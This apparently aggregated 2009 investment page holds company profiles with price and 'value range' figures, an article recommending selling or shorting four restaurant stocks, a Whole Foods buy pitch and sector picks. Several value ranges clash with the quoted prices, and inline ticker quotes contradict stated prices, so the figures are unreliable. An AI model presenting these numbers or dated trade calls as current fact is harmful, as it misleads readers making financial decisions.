Cisco Systems [CSCO: 23.46, -0.22 (-0.93%)] Recent Price $17.04 Value Range 21.86 – $38.41
Cisco Systems, Inc. designs, manufactures and sells Internet protocol (IP)-based networking and other products related to the communications and information technology (IT) industry, and provides services associated with these products and their use. The Company provides a line of products for transporting data, voice, and video within buildings, across campuses, and around the world. Its products are designed to transform how people connect, communicate and collaborate. Cisco Systems, Inc.’s products, which include primarily routers, switches, and products that the Company refers to as its technologies, are installed at enterprises, public institutions, telecommunications companies, commercial businesses and personal residences. In November 2008, the Company acquired Jabber Inc. In January 2009, the Company acquired Richards-Zeta Building Intelligence, Inc

CSG Systems International [CSGS: 16.83, 0.00 (0.00%)] Recent Price $15.47 Value Range $21.39 – $28

CSG Systems International, Inc. (CSG) is a provider of outsourced solutions that facilitate customer interaction management on the behalf of its clients, generating approximately 95% of its revenues during the year ended December 31, 2007, from the North American cable and Direct Broadcast satellite (DBS) communications markets. The Company’s solutions also support a number of other industries, such as financial services, utilities, telecommunications, and home security. CSG’s solutions manage customer interactions, such as set-up and activation of customer accounts, sales support and marketing, order processing, invoice calculation (customer billing), production and mailing of monthly customer invoices, management reporting, electronic presentment and payment of invoices, automated and interactive messaging, and deployment and management of the client’s field technicians to the customer’s home. In May 2008, CSG completed the acquisition of DataProse, Inc.

Forest Laboratories [FRX: 29.57, +0.46 (+1.58%)] Recent Price$26.21 Value Range$51.57 – $64.09

Forest Laboratories, Inc. and its subsidiaries develop, manufacture and sell both branded and generic forms of ethical drug products, which require a physician’s prescription, as well as non-prescription pharmaceutical products sold over the counter. The Company’s products in the United States consist of branded ethical drug specialties marketed directly or detailed to physicians by its sales forces, Forest Pharmaceuticals, Forest Therapeutics, Forest Healthcare, Forest Ethicare and Forest Specialty Sales. Forest Laboratories, Inc.’s products include Lexapro, the Company’s selective serotonin reuptake inhibitor (SSRI) for the treatment of major depression and generalized anxiety disorder (GAD); Namenda, its N-methyl-D-aspartate (NMDA) antagonist for the treatment of moderate to severe Alzheimer’s disease; Bystolic, its novel beta-blocker for the treatment of hypertension, and Campral, for the maintenance of alcohol abstinence.

Robert Half International [RHI: 23.23, -0.11 (-0.47%)] Recent Price $18.22 Value Range $26.27 – $30.14

Robert Half International Inc. provides specialized staffing and risk consulting services through such divisions as Accountemps, Robert Half Finance & Accounting, OfficeTeam, Robert Half Technology, Robert Half Management Resources, Robert Half Legal, The Creative Group and Protiviti. The Company, through its Accountemps, Robert Half Finance & Accounting, and Robert Half Management Resources divisions, is a specialized provider of temporary, full-time project professionals in the fields of accounting and finance. OfficeTeam specializes in skilled temporary administrative support personnel. Robert Half Technology provides information technology professionals. Robert Half Legal provides temporary, project and full-time staffing of attorneys and specialized support personnel within law firms and corporate legal departments. The Creative Group provides project staffing in the advertising, marketing, and Web design fields

Advance Auto Parts [AAP: 39.74, -0.38 (-0.95%)] Recent Price 33.63 Value Range 10.02 – 12.07

Advance Auto Parts, Inc. (Advance) operates within the United States automotive aftermarket industry, which includes replacement parts (excluding tires), accessories, maintenance items, batteries and automotive chemicals for cars and light trucks (pickup trucks, vans, minivans and sport utility vehicles). The Company is a specialty retailer of automotive parts, accessories and maintenance items to do-it-yourself (DIY) and do-it-for-me (DIFM) customers in the United States, based on store count and sales. Advance operates in two business segments: Advance Auto Parts (AAP) and Autopart International (AI). The AAP segment consists of its store operations within the United States, Puerto Rico and the Virgin Islands, which operates under the trade names Advance Auto Parts, Advance Discount Auto Parts and Western Auto. The AI segment consists solely of the operations of Autopart International, which operates as an independent, wholly owned subsidiary.

American Eagle Outfitters [AEO: 14.62, -0.22 (-1.48%)] Recent Price 9.64 Value Range 0.63 – $0.75

American Eagle Outfitters, Inc. is a retailer that operates under the American Eagle Outfitters, aerie by American Eagle and MARTIN + OSA brands. The Company designs, markets and sells its own brand of clothing targeting 15 to 25 year-olds. American Eagle also operates ae.com, which offers additional sizes, colors and styles of AE merchandise and ships to 41 countries worldwide. AE’s original collection includes standards, such as jeans and graphic Ts, as well as essentials like accessories, outerwear, footwear, basics and swimwear under its American Eagle Outfitters, American Eagle and AE brand names. The aerie collection is available in aerie stores, predominantly all American Eagle stores and at aerie.com. The collection includes bras, undies, camis, hoodies, robes, boxers, sweats, leggings, fitness apparel and personal care for the AE girl. MARTIN + OSA is a concept targeting 28 to 40 year-old women and men, which offers refined casual clothing and accessories.

Bed Bath & Beyond [BBBY: 37.24, +0.13 (+0.35%)] Recent Price$24.00 Value Range $ 8.03 – $9.73

Bed Bath & Beyond Inc. and subsidiaries is a chain of retail stores, operating under the names Bed Bath & Beyond (BBB), Christmas Tree Shops (CTS), Harmon and Harmon Face Values (Harmon) and buybuy BABY. The Company sells a range of merchandise principally, including domestics merchandise and home furnishings as well as food, giftware, health and beauty care items and infant and toddler merchandise. In March 2007, the Company acquired buybuy BABY. In May 2008, the Company announced the formation of a joint venture with Home & More, S.A. de C.V., a privately held home products retailer operating in Mexico

Brown-Forman Corporations [[BF-B]] Recent Price $48.18 Value Range $8.17 – $10.28

Brown-Forman Corporation manufactures, bottles, imports, exports and markets a variety of alcoholic beverage brands. Its principal beverage brands are Jack Daniel’s Tennessee Whiskey, Southern Comfort, Finlandia Vodka, Herradura Tequila, Gentleman Jack, Jekel Vineyards Wines, Jack Daniel’s Single Barrel, Jack Daniel’s Ready-to-Drinks, Bel Arbor Wines, Bolla Wines, Bonterra Vineyards Wines, Old Forester Bourbon, Canadian Mist Blended Canadian Whisky, Pepe Lopez Tequilas, Chambord Liqueur, Sanctuary Wines, Don Eduardo Tequila, Sonoma-Cutrer Wines, Early Times Kentucky Whisky, Tuaca Liqueur, el Jimador Tequila, Stellar Gin, Five Rivers Wines and Woodford Reserve Bourbon. The Company’s core brand in its portfolio is Jack Daniel’s, which is a spirits brand and American whiskey brand. Its other brands are Southern Comfort and Canadian Mist. Its largest wine brands are Fetzer, Korbel and Bollab.

CLARCOR [CLC: 32.69, +0.37 (+1.14%)] Recent Price $32.82 Value Range $12.18 -$17.86

CLARCOR Inc. conducts business in three segments: Engine/Mobile Filtration, Industrial/Environmental Filtration and Packaging. The Company’s Engine/Mobile Filtration Segment sells filtration products used on engines and in mobile equipment applications, including trucks, automobiles, buses and locomotives, and marine, construction, industrial, mining and agricultural equipment.. The Company’s Industrial/Environmental Filtration Segment centers on the manufacturing and marketing of filtration products used in industrial and commercial processes and in buildings, and infrastructures of various types. The Company’s consumer and industrial packaging products business is conducted, through a wholly-owned subsidiary, J.L. Clark, Inc. (J.L. Clark). In May 2008, the Company acquired a 30% share in BioProcess H2O LLC (BPT), a Rhode Island-based manufacturer of industrial waste water and water reuse filtration systems. The Company acquired 100% of the Keddeg Company on December 29, 2008

Cree [CREE: 46.77, +0.05 (+0.11%)] Recent Price $21.84 Value Range $4.51 – $6.20

Cree, Inc. develops and manufactures semiconductor materials and devices based on silicon carbide (SiC), gallium nitride (GaN) and related compounds. The Company focuses its expertise in SiC and GaN on light emitting diodes (LEDs), which consist of LED chips, LED components and LED lighting solutions. It also develops power and radio frequency (RF) products, including power switching and RF devices. The majority of Cree, Inc. products are manufactured at its main production facility in Durham, North Carolina, in a six-part process, which includes SiC crystal growth, wafering, polishing, epitaxial deposition, fabrication and testing Additionally, it packages certain LED components and power and RF products at its North Carolina facilities, its facility in Huizhou, China and in other foreign countries through the use of subcontractors. It also operates research and development facilities in Goleta, California and Hong Kong. In February 2008, it acquired LED Lighting Fixtures, Inc.

Edwards Lifesciences [EW: 81.25, +0.12 (+0.15%)] Recent Price $61.10 Value Range $16.74 – $21.24

Edwards Lifesciences Corporation (Edwards Lifesciences) is a global player in products and technologies designed to treat cardiovascular disease. The Company focuses on specific cardiovascular opportunities, including heart valve disease, critical care technologies and peripheral vascular disease. The products and technologies provided by Edwards Lifesciences to treat cardiovascular disease are categorized into five areas: Heart Valve Therapy; Critical Care; Cardiac Surgery Systems; Vascular, and through 2007, Other Distributed Products

Interactive Data Corp [IDC: 26.00, -0.29 (-1.10%)] Recent Price$24.42 Value Range $4.90 – $6.34

Interactive Data Corporation is a global provider of financial market data, analytics and related services to financial institutions, active traders and individual investors. The Company’s customers use its offerings to support their portfolio management and valuation, research and analysis, trading, sales and marketing, and client service activities. It markets and sells its services either by direct subscriptions or through third-party business alliances. Its offerings are developed and delivered to customers through four businesses that consist of its two operating segments: Institutional Services and Active Trader Services. In May 2007, the Company completed the acquisition of the assets comprising the market data division of Xcitek LLC, as well as the market data assets of its affiliate Xcitax LLC. In August 2008, announced the closing of its acquisition of Kler’s Financial Data Service S.r.l. In December 2008, the Company acquired a 79% interest in NTT DATA Financial Corporation

ITT Educational Services [ESI: 92.29, +2.04 (+2.26%)] Recent Price $128.87 Value Range$23.33 – $33.99

ITT Educational Services, Inc. (ITT/ESI) is a provider of postsecondary degree programs in the United States based on revenue and student enrollment. As of December 31, 2007, the Company offered diploma, associate, bachelor and master degree programs to approximately 53,000 students. All of its institutes are authorized by the applicable education authorities of the states, in which they operate and recruit, and are accredited by an accrediting commission recognized by the United States Department of Education (ED). All of its programs were degree programs, except for a few diploma programs offered at six institutes that are being converted to degree programs. As of December 31, 2007, it offered 29 degree programs in various fields schools of study: information technology (IT); electronics technology; drafting and design; business; criminal justice, and health sciences. In October 2008, the Company announced that it has opened its first ITT Technical Institute in Mississippi.

Makita Corporation [MKTAY: 33.38, +0.75 (+2.30%)] Recent Price $22.81 Value Range $1.71 – $2.00

Makita Corporation (Makita), incorporated on December 10, 1938, is principally engaged in manufacturing and sale of a range of power tools for professional users worldwide. Makita’s power tools consist of drills, grinders and sanders and portable woodworking tools, primarily saws and planers. The Company also produces gardening and household products and provides parts, repairs and accessories. During the fiscal year ended March 31, 2008 (fiscal 2008), approximately 85% of Makita’s sales were outside of Japan. The Company specializes in power tools manufacturing and sales, as a single line of business, and conducts its business globally. As of March 31, 2008, Makita had over 100 service depots outside of Japan. As of fiscal 2008, 28 of these service depots were located in the United States, and 19 of these service depots were located in China.

NIKE Incorporated [NKE: 63.92, +0.36 (+0.57%)] Recent Price $48.68 Value Range $15.83 – $21.46

NIKE, Inc. (NIKE) is engaged in the design, development and worldwide marketing of footwear, apparel, equipment, and accessory products. NIKE sells athletic footwear and athletic apparel. It sells its products to retail accounts, through NIKE-owned retail, including stores and Internet sales, and through a mix of independent distributors and licensees, in over 180 countries around the world. Its products include running, training, basketball, soccer, sport-inspired urban shoes, and childrens shoes. It also markets shoes designed for aquatic activities, baseball, bicycling, cheerleading, football, golf, lacrosse, outdoor activities, skateboarding, tennis, volleyball, walking, wrestling, and other athletic and recreational uses. On March 3, 2008, the Company acquired Umbro Ltd. (Umbro). On April 17, 2008, it completed the sale of its Bauer Hockey subsidiary.

Paychex [PAYX: 31.05, +0.10 (+0.32%)] Recent Price $26.93 Value Range$4.55 – $6.26

Paychex, Inc. (Paychex) is a provider of payroll and integrated human resource and employee benefits outsourcing solutions for small to medium-sized businesses in the United States. The Company’s Payroll and Human Resource Services product lines offer a portfolio of products and services that help clients to meet their payroll and human resource needs. Its Payroll services are provided through either its Core Payroll or Major Market Services, and include payroll processing, payroll tax administration services, employee payment services, and other payroll-related services, including regulatory compliance. Paychex’s Human Resource Services primarily include human resource outsourcing services, which include Paychex Premier Human Resources and its Professional Employer Organization; retirement services administration; workers’ compensation insurance services; health and benefits services; time and attendance solutions, and other human resource services and products.

Raytheon [RTN: 50.59, +0.76 (+1.53%)] Recent Price $47.80 Value Range 12.68 – $19.58

Raytheon Company designs, develops, manufactures, integrates, supports and provides a range of technologically advanced products, services and solutions for governmental customers in the United States and worldwide. The Company operates through six business segments: Integrated Defense Systems (IDS), Intelligence and Information Systems (IIS), Missile Systems (MS), Network Centric Systems (NCS), Space and Airborne Systems (SAS) and Technical Services (TS). During the year ended December 31, 2007, the Company completed the sale of Raytheon Aircraft Company (Raytheon Aircraft) and Flight Options LLC (Flight Options), two former operating commercial aviation businesses. In October 2007, the Company acquired Oakley Networks, Inc., a privately held technology company based in Salt Lake City, Utah, which provides cyber security and data leakage prevention systems. In April 2008, the Company acquired SI Government Solutions. In July 2008, the Company acquired Telemus Solutions, Inc

Rockwell Collins [COL: 53.08, +0.74 (+1.41%)] Recent Price $38.90 Value Range $12.94 – $15.93

Rockwell Collins, Inc. (Rockwell Collins) is a player in providing design, production and support of communications and aviation electronics for military and commercial customers worldwide. The Company’s products and systems are primarily focused on aviation applications. Its Government Systems business also offers products and systems for ground and shipboard applications. Rockwell Collins also provides a range of services and support to its customers through its network of service centers worldwide, including equipment repair and overhaul, service parts, field service engineering, training, technical information services and aftermarket used equipment sales. Rockwell Collins operates in multiple countries. Rockwell Collins serves its worldwide customer base through its Commercial Systems and Government Systems business segments. On November 24, 2008, Rockwell Collins acquired SEOS Group Limited. In April 2008, the Company completed the acquisition of Athena Technologies, Inc.

Strayer Education [STRA: 190.00, -2.08 (-1.08%)] Recent Price $222.04 Value Range $15.89 – $23.60

Strayer Education, Inc. is a post-secondary education services corporation. The Company offers academic programs through its wholly owned subsidiary, Strayer University, Inc., both in traditional classroom courses and through Strayer University Online. The Strayer University is an institution of higher learning that offers undergraduate and graduate degree programs in business administration, accounting, information technology, education, and public administration at 47 campuses in Alabama, Delaware, Florida, Georgia, Kentucky, Maryland, New Jersey, North Carolina, Pennsylvania, South Carolina, Tennessee, Virginia, Washington, D.C., via the Internet through Strayer University Online, providing its working adult students a program offering over the Internet. It also owns Education Loan Processing, Inc. (ELP), which was organized to administer the Company’s student loan portfolio. As of December 31, 2007, the Company had more than 32,087 students enrolled in its programs.

- Ronald Sommer

Disclosure: This article was taken from the website Measured Approach with the permission of the original author.  Please refer to the original author for disclosure information. We hold a position in FRX.

I still feel strongly that this entire sector at the very best, is going to trade sideways for awhile, and at average to worse, is going to decline significantly for at least the next few weeks to months. Let’s get right into each name.

Chipotle Mexican Grill:

Insiders selling shares like there’s no tomorrow

Chipotle Mexican Grill owns and operates 860 “fast-casual” Mexican restaurants and offers a focused menu of burritos, tacos, burrito bowls (a burrito without the tortilla) and salads made from fresh, high-quality raw ingredients, prepared using classic cooking methods and served in a distinctive atmosphere.

Chipotle adheres to what they call Food With Integrity [FWI: 0.00, N/A (N/A)], whereby Chipotle seeks better food not only from using fresh ingredients, but ingredients that are sustainably grown and naturally raised with respect for animals, the land, and the farmers who produce the food.

Chipotle’s ultimate goal is to be able to serve only organically raised and grown food in all its restaurants.

Why I liked the stock in the past:

• Stock price was at historically low levels in relative and absolute terms
• Same-store sales growth still positive
• Opening restaurants at a break-neck pace, even in recession
• No debt, strong cash flows, and strong working capital for funding new openings
• New locations become break even in about 3 years or less
• Best in breed company, restaurant and management team
• Continued operational excellence in trying times

Why I recommended selling/shorting the stock at $80 for “A” shares, and $67 for “B” shares:

• Stock has doubled in a few month’s time from around $40 to $80 per share, while nothing has fundamentally changed within the company, in fact margins have declined and are expected to do so again as costs increase later this year for marketing
• Valuation is higher than any other restaurant company within this space (Trailing P/E: 33, Forward (2009) P/E: 30.6 vs. 15.9 for restaurant industry , P/S 1.91 vs .4 for restaurant industry, etc.)
• Same-store sales increase was due mainly to increases in prices
• Stock price is significantly higher (45%) than average price target of $55 per share (way higher than any other restaurant I am covering in this article), meaning expectations are going to be extremely high, and even if analyst’s raise their price targets they are unlikely to raise their stock rating, don’t look for any upgrades even on an earnings beat.
• Insiders have almost sold more shares in the last couple of weeks than they had in the entire previous time that Chipotle has been a public company!
• Don’t be greedy.

Bottom Line: The insider selling is alarming, and I think we are in for a formal correction here in Chipotle’s stock rather soon.

Earnings were spectacular, with Chipotle smoking analyst’s estimates, but this was as a result of mostly higher prices on their menu as well as higher margins due to lower advertising expenses.

In fact, traffic levels DECLINED in the quarter! Hmmm…declining traffic, but increased profits? If you ask me, this was all smoke and mirrors.

Look for comps to come in considerably lower as we move through the rest of the year, and despite Chipotle’s operational excellence and best in breed status, we are simply in a bad place and time to be an investor in the stock. It looks like insiders agree!

Performance Since Sell/Short Recommendation:

• S&P 500:+6.85%
• Nasdaq:+3.95%
• Russell 2000:+6.77%
• CMG-A: -2.39%
• CMG-B: -.80%
• Profit/Loss vs. shorting the Russell 2000: +9.16% (CMG-A), +7.57% (CMG-A)

Buffalo Wild Wings:

Typical sell on the news for high flying stock

Buffalo Wild Wings, Inc., [BWLD: 40.90, -0.34 (-0.82%)] engages in the ownership, operation, and franchising of restaurants in the United States that cater to mainly a sports bar audience serving mainly chicken wings with 14 signature sauces, while providing an atmosphere geared towards watching sports on large screen televisions while enjoying the company of others. The company provides quick casual and casual dining service, as well as serves bottled beers, wines, and liquor.

As of December 28, 2008, the company owned or franchised 560 Buffalo Wild Wings restaurants in 38 states, of which 197 were company-owned and 363 were franchised.

Why I liked the stock:

• Stock price was at historically low levels in relative and absolute terms
• Same-store sales growth hugely positive even without the influence of higher menu prices
• Still opening new locations
• No debt, strong cash flows, and strong working capital for funding new openings
• Fantastic management team, strong execution, always staying on the cutting edge
• Continued operational excellence in trying times, in fact thriving because of it

BWLD has performed amazingly in this economic environment because of the perceived value proposition that the company provides.

You get a reasonably priced meal, a festive atmosphere where you can watch the Super Bowl, March Madness and other sporting events, and a good return on your investment of both time and money.

Why I recommended selling/shorting the stock at $37.80:

• Stock has more than doubled in a few month’s time from around $15-18 to $40 per share
• Valuation is higher than many other restaurant companies within this space (Trailing P/E: 28, Forward (2009) P/E: 22.52 vs. 15.9 for restaurant industry , P/S 1.57 vs. .4 for restaurant industry, etc.)
• Cash reserves have been dwindling
• Simple concept that has no real moat, consumers might trade up as soon as things improve, or the perception of improvement spurs more refined tastes
• Chicken wing prices are on the rise
• Has been written about in Investor’s Business Daily, means the good times are near finished
• Stock price is slightly higher than average price target of $35 per share, meaning expectations are going to be extremely high, and even if analysts raise their price targets they are unlikely to raise their stock rating, don’t look for many upgrades even on an earnings beat.
• Don’t be greedy.

I will admit that BWLD has rightfully deserved its rapid ascent up the charts.

Management has continued to excel, and the downtrodden economy has seemed to actually help the company’s results.

But buyer beware…expectations are now higher.

Bottom Line: BWLD reported results in-line with expectations, which had been primed to the max as a result of continued execution by the company as well as higher guidance.

The company did announce that costs would be higher in the second quarter of this year however due to higher store openings and higher stock based compensation expenses.

Guidance was in-line with what the company traditionally has espoused: 25 percent growth in revenue, and 20 percent to 25 percent growth in net earnings.

The only blemish on the quarter was a marked slowdown in the company’s same-store sales.

Again, BWLD is a great company, and has excellent management, but the valuation and stock price are not justifiable.

That being said, this stock is one of the stronger ones in the group that I am reviewing today, so make sure your short position if you have one, is tight, and look to get out on any strength to the upside.

Performance Since Sell/Short Recommendation:

• S&P 500:+6.85%
• Nasdaq:+3.95%
• Russell 2000:+6.77%
• BWLD: -6.08%
• Profit/Loss vs. shorting the Russell 2000: +12.85%

BJ’s Restaurants:

Purveyor of famous beer and Pizookie still too pricey

BJ’s Restaurants, Inc. [BJRI: 17.27, +0.10 (+0.58%)] owns and operates casual dining restaurants in the United States.

It operates restaurants under the BJ’s Restaurant & Brewery brand name, which includes a brewery within the restaurant; BJ’s Restaurant & Brewhouse, which receives the beer it sells from its breweries or an approved third party craft brewer of proprietary recipe beers; and BJ’s Pizza & Grill, which is a smaller format, full service restaurant.

BJ’s offers an innovative and broad menu featuring award-winning, signature deep-dish pizza complemented with generously portioned salads, appetizers, sandwiches, soups, pastas, entrees and desserts including its famous Pizookie dessert.

In addition, at most locations, BJ’s features award-winning handcrafted beer to go along with highly detailed, contemporary decor and usually includes a bank of TV’s, including several high definition flat panel televisions for patrons to enjoy while they eat.

BJ’s Restaurants owns and operates 84 casual dining restaurants.

Why I liked the stock:

• Stock price was at historically low levels in relative and absolute terms
• Same-store sales growth down only moderately, in fact one of the better performing restaurant chains in hard hit California marketplace
• Still opening new locations, albeit at at much slower pace
• Very good balance sheet with minimal debt
• Insider buying at lowest levels late last year
• Great niche player in crowded sit down restaurant space

BJ’s is very similar to Buffalo Wild Wings, albeit a little more diversified in menu offerings, and a little less expansive in the “sports bar” arena.

BJ’s is a refined balance between a pseudo-sports bar, with a nice casual sit-down dinner space with unique menu offerings as well as the aforementioned handcrafted beer.

In California, BJ’s largest market, the chain was holding up surprisingly well, even where it had overbuilt restaurant capacity in the hardest hit areas where job losses and the home construction collapse has been the worst.

I was looking to play BJ’s as a forward-thinking rebound play in the California housing market/job market…oops…looks like I was a little too late.

Why I recommended selling/shorting the stock at $15.45:

• Stock has more than doubled in a few month’s time from around $7-8 to $16 per share
• Valuation is high (Trailing P/E: 40, Forward (2009) P/E: 30.92 vs. 15.9 for restaurant industry , P/S 1.05 vs. .4 for restaurant industry, etc.)
• Cash reserves have been dwindling, debt has been increasing
• Simple concept that has no real moat, consumers might trade up as soon as things improve, or the perception of improvement spurs more refined tastes
• Not a best in breed player, but a very good restaurant chain. Does not deserve the higher multiples put forth on competitors like Chipotle, Panera, or Buffalo Wild Wings
• Stock price is 20% higher than average price target of $13.20 per share, meaning expectations are going to be extremely high, and even if analyst’s raise their price targets they are unlikely to raise their stock rating, don’t look for many upgrades even on an earnings beat.
• Don’t be greedy.

When BJ’s was trading around $8 per share, I was ready to get at least a 1/4 position, but waited to long obviously.

There were some compelling things going for BJ’s including insider buying, and the fact that same-store sales were decreasing but on a much lower level than other similar chains in this space, and it was looking like people just didn’t want to give up their BJ’s Pizookies, and for good reason.

But, as with all the stocks in this sector, greed has gotten the best of this stock as well. It is certainly not worth the premium being bestowed upon it now, and might fall harder than others if it slips at all because it is one notch below other best-in-breed players in the restaurant space.

Bottom Line: BJ’s reported solid earnings that were in-line to slightly higher than analyst’s had expected.

However, just as the smoke and mirrors earnings announcement by Chipotle, BJ’s also had a little trickery involved due to lower costs across the board as well as higher menu prices.

There is a limit to how low you can cut costs and raise prices, before the truth of your operations rears its ugly head.

Zacks had an interesting look at BJ’s Restaurants post earnings.

There are some worrisome trends within the company such as lower margins, low return on invested capital (ROIC), and return on equity (ROE), as well as management’s assertion that there will be fewer store openings this year as a result of continued consumer weakness.

Out of all the restaurants that I am featuring here, BJ’s is by far the weakest of the bunch and the one that can fall the furthest.

Performance Since Sell/Short Recommendation:

• S&P 500:+6.85%
• Nasdaq:+3.95%
• Russell 2000:+6.77%
• BJRI: -.2%
• Profit/Loss vs. shorting the Russell 2000: +6.97%

Panera Bread:

Company can’t keep hiding behind smell of bread, higher menu costs

Panera Bread Company [PNRA: 63.74, +0.10 (+0.16%)] owns and franchises 1,252 bakery-cafes under the Panera Bread and Saint Louis Bread Co. names as of December 30, 2008.

With its identity rooted in handcrafted, fresh-baked, artisan bread, Panera Bread is committed to providing great tasting, quality food that people can trust, highlighted by antibiotic free chicken, whole grain bread, select organic and all-natural ingredients and a menu with zero grams added trans fat.

Panera’s bakery-cafe selection offers flavorful, wholesome offerings, which include a wide variety of year-round favorites, complemented by new items introduced seasonally with the goal of creating new standards in everyday food choices.

Guests enjoy Panera’s warm and welcoming environment featuring comfortable gathering areas, relaxing decor, and free internet access provided through a managed WiFi network.

Why I liked the stock:

• None: I never liked Panera Bread as a stock. Great company, bad stock. I will say that Panera exhibits some of the characteristics that the other companies highlighted in this article have for advocating purchasing shares at lower levels, such as: no debt, high margins, continued execution in a tough environment, etc.

Unlike the other names on this list, there was never a compelling reason to own shares of Panera Bread in my eyes over the last year or so, and it has been on my “Stocks to short” list for quite some time, although I have yet to pull the trigger because the time hasn’t been right.

I won’t sit here and say Panera is a bad company in any way, but just a very bad stock.

Why I recommended selling/shorting the stock at $60:

• Stock has been overvalued for about a year now, and even with the recent run up in stocks, and the restaurant sector in particular, Panera has lagged those gains, indicating the stock is getting a little tired.
• Valuation is high (Trailing P/E: 27, Forward (2009) P/E: 22.81 vs. 15.9 for restaurant industry , P/S 1.40 vs. .4 for restaurant industry, etc.)
• Same-store sales increases have been as a result of increased prices, and a reshuffling of the menu to highlight higher margin, higher cost items.
• Company’s profitability has been boosted by several cost-cutting measures, including raw materials hedging for ingredients, this will not last
• Tons of competition in this space, and again once customers regain their financial footing, they’ll be trading in a nice lunch sandwich for a nice dinner somewhere else
• Stock price is 14% higher than average price target of $52.50 per share, meaning expectations are going to be extremely high, and even if analyst’s raise their price targets they are unlikely to raise their stock rating, don’t look for many upgrades even on an earnings beat.
• Has been reported in Investor’s Business Daily and Barron’s, means the good times are near finished
• 31% of the shares held short, people are betting Panera will fall
• Don’t be greedy.

Panera is a great company that is a favorite to many.

It’s just not a good stock, and hasn’t been for quite some time, but merely offered a safe haven in the restaurant industry while the rest of the industry was cratering.

The fact that Panera has lagged the market’s gains as well as those of its peers should be a troubling sign to you if you are long, as well as the 31% of the shares that are held short.

Bottom Line: The same story transpired at Panera that happened at the aforementioned restaurant chains. Namely, the company beat or met estimates, but on a little trickery via higher menu prices in the face of slowing traffic.

The trickery, along with Panera’s recent stock price run up, didn’t wow investors, as the stock has sold off dramatically since that earnings announcement took place.

I still think there is way more downside to come in this baby, as it was a high flier and will be one of the first to fall if it ever revises estimates, or “misses” in any way, shape or form.

If you’ve enjoyed the run up, now’s the time to get out and enjoy your gains.

If you’re thinking about shorting, join the crowd.

Performance Since Sell/Short Recommendation:

• S&P 500:+6.85%
• Nasdaq:+3.95%
• Russell 2000:+6.77%
• PNRA: -11.8%
• Profit/Loss vs. shorting the Russell 2000: +18.57%

Still More Restaurant Correction Coming?

In summary, if you would have shorted any of these stocks, or all of them, you would be sitting on some nice gains right now, averaging over 100% annual returns!

I still think that we have more of a correction coming, and that this is just the first leg, especially when you review all the results of the companies in this article, and notice a uniquely disturbing trend among most of them: their results are being propped up by artificial means.

Same-store sales are declining in absolute terms if you exclude menu price increases.

Margins are shrinking for the most part.

Foot traffic is declining.

Costs that were easily shrunk in the first round of “cuts” now become harder to manipulate, and thus margins will contract further, and same-store sales and profits will come under fire.

I would not be long restaurant stocks right now, unless and until, there is a significant improvement in the economy that is NOT already reflected in the stock prices.

As of now, they all seem to be predicting the end of the recession, and more than that, that happy eating out days are here again for all Americans.

I believe that may be true for a few of these names, but definitely not for all of them, and not for the sector overall.

This was an overreaction to the upside just as we had an overreaction to the downside when things were looking grim.

The truth is somewhere in the middle, and we’re not there yet.

-Chris Fernandez

Disclosure: This article was taken with permission from PeakStocks.com. At the time of the post, the author was neutral on the restaurant industry stocks mentioned above.

The recession, as is the nature of recessions, is temporary. It is a cyclical downward movement in the economy. The organic foods trend, however, is a secular shift. Once we come out of the recession, the growth should continue to surge. The best play on this trend is Whole Foods [WFMI: 26.36, -0.61 (-2.26%)].

After peaking around $77 per share in late 2006, shares of Whole Foods began to steadily drop, reaching an astonishing low around $9 in late 2008. The company faced the common issue of expanding too much in the good years, only to be to bitten when the consumer became tighter with their wallets.  This caused same-store sales to plummet for Whole Foods. The stock has recently recovered from its lows to about $19 a share. Whole Foods share price has the opportunity to continue to rise with an economic recovery.

I realize that the decline in the economy is not yet over. I expect comps at Whole Foods store to continue to fall, albeit at a lesser rate, with sales approximately flat for 2009 due to new store openings. Stocks are forward looking indicators as we all know, and the best way to profit is to take advantage of cyclical downturns and snap up best of breeds plays in great businesses.

Whole Foods is the number one organic and natural foods retailer, hands down. The only threatening competitor in my opinion is Wal-Mart Stores, which does sell organic products through its grocery segment. Wal-Mart’s selling point is its price, which works well in environments like this. Whole Foods, however, sells an atmosphere: an upscale environment, courteous staff, and high-quality food. You can play the organic trend through a number of grocery stocks, as well as Wal-Mart, but I am a firm believer in the value of a company like Whole Foods that specializes. Its focus on organic and natural foods is what gives it a competitive advantage, or its “moat” as Warren Buffet would say.

Whole Foods also has a dedicated CEO in John Mackey, who is the original founder of the company, and who still owns over $20 million in Whole Foods common stock. Mr. Mackey started the company with a $45,000 loan from friends and family when he was 25 years-old, and even lived in the store at first, to save money. Two years later he opened the original “Whole Foods Market,” only to have it wiped out by a devastating flood.  Less than a year from originally opening, the flood destroyed $400,000 worth of inventory, and Mackey had no insurance on the location. Mackey worked tirelessly with customers and neighbors to rebuild and recoup, and nearly three decades later, he has a lot to show for his commitment. To have a CEO like Mr. Mackey, who was there in the beginning and has a truly personal stake in the company, adds a lot of value. When management’s and equity holders’ interests are aligned, good things tend to follow.

Trading at such a small percentage of its all-time high, this feels like a great time to jump into Whole Foods: a niche play with a strong competitive advantage, dedicated management, and on top of a great long-term trend. After the devastation in 2008, WFMI is a great way to start marking your portfolio ‘whole’ again.

The rest of this free research report “Stocks For An Economic Recovery” which includes commentary on all sectors is available for download at the following link.

- Harry Lacheen

Disclosure: None.

Consumer Discretionary – [APOL: 55.10, -0.05 (-0.09%)] YTD: -25.52%, [MCD: 63.97, +0.56 (+0.88%)] YTD: -11.69%, [COH: 33.79, -0.13 (-0.38%)] YTD: 25.32%, [XLY: 28.69, -0.15 (-0.52%)] YTD: 11.22%

Our consumer discretionary sector has lagged thus far in 2009, and this was mostly due to having two very defensive and conservative type plays in Apollo Group and McDonald’s.  Coach has been a great surprise this year with consumer spending down so drastically, but the fundamentals at year end were much healthier than the stock price and as you can see from the price appreciation it was a screaming buy.  McDonald’s has reported good earnings and carries a solid dividend but hasn’t kept pace up to this point, but that is likely to change if the recession is prolonged through the end of this year.  As more people are laid off each month, Apollo stands to benefit from individuals going back to school for new skills who are looking for an affordable education.

Consumer Staples – [SJM: 56.35, +2.87 (+5.37%)] YTD: -5.41%, [KR: 22.86, +0.04 (+0.18%)] YTD: -17.38%, [WMT: 54.28, -0.26 (-0.48%)] YTD: -10.56%, [XLP: 26.89, +0.04 (+0.15%)] YTD: -4.65%

Consumer staples has been one of the quieter sectors this year after it steadily outperformed the market in 2008.  Smuckers has been in line with the composite while Kroger has fallen sharply due to competition with other grocery stores like our third pick, Wal-Mart.  Wal-Mart was getting very expensive at the end of last year, but there is a premium on the cash flows of a company that is arguably the most stable and consistent in the world.  Our consumer staples is another sector that would benefit from a sustained recession.

